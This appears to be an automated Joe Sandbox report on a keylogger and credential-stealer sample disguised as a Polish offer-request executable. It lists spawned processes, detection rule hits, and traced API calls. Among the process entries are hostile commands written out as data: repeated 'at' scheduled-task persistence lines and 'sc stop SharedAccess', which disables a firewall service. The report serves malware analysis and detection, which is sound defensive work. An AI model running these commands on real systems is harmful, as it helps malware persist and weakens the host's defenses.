Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:07:57
Start date:	29/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"c:\users\user\desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe "
Imagebase:	0xb10000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.4486046867.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000A.00000002.4486046867.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:07:57
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:07:57
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:07:57
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:07:57
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:07:57
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:07:57
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:07:58
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:09 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop SharedAccess
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc config Schedule start= auto
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	08:07:59
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc start Schedule
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	08:08:00
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	08:08:00
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	08:08:00
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	08:08:08
Start date:	29/10/2024
Path:	C:\Windows\System\explorer.exe
Wow64 process (32bit):	true
Commandline:	"C:\windows\system\explorer.exe" RO
Imagebase:	0x400000
File size:	280'955 bytes
MD5 hash:	40D6074239B5794D42186340C0FB7B60
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	08:08:13
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 08:10 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x60000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	08:08:14
Start date:	29/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	0.6%
Total number of Nodes:	788
Total number of Limit Nodes:	41

Executed Functions

Function 0041E9D0 Relevance: 25.6, APIs: 17, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041E9EE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA1E
#525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA30
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA3B
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041EA4C
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA61
GetUserNameA.ADVAPI32(00000000), ref: 0041EA6D
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA7B
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA84
#537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041EA99
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAA4
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041EAAD
#616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041EABD
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAC8
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAD1
__vbaFreeStr.MSVBVM60(0041EB05,?,?,?,00000000,Function_000032B6), ref: 0041EAFE
__vbaErrorOverflow.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EB19

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

